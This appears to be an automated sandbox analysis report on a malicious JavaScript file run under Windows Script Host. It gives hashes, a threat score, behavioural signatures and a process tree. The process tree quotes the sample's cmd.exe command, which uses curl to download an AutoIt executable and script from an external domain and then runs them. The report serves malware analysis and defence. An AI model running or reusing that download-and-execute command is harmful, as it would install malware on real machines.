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Analysis

  • max time kernel
    175s
  • max time network
    200s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/10/2023, 14:11

General

  • Target

    57cfc3b0b53e856c78b47867d7013516.js

  • Size

    35KB

  • MD5

    57cfc3b0b53e856c78b47867d7013516

  • SHA1

    96b24cfafc899c611fbf10cd71c2ea164d494498

  • SHA256

    21cbf06080ae61f95617b3f65f85af5a1390133af6c5c516ac251f9f9cde7fa7

  • SHA512

    ee0bc079d5a99c6c109bac39aa5424ed9bc550c5090e96328790edecc285fff5a64c7026739dab2e27dab28e78075917cdf86463571f982fc6a6b82405216563

  • SSDEEP

    768:xu5lDXfNaS8QzGeEU05ZDU9C6GSeIf+y5af1y/W5xkV8NXP4a7H++ffchuR5M3Q:TB0Gh1y/q/H

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 8 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\57cfc3b0b53e856c78b47867d7013516.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:5008
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp & curl -o Autoit3.exe http://whoernet.co.com:80 & curl -o imkvef.au3 http://whoernet.co.com:80/msikatqayts & Autoit3.exe imkvef.au3
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1572
      • C:\Windows\system32\curl.exe
        curl -o Autoit3.exe http://whoernet.co.com:80
        3⤵
          PID:3100
        • C:\Windows\system32\curl.exe
          curl -o imkvef.au3 http://whoernet.co.com:80/msikatqayts
          3⤵
            PID:1612

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads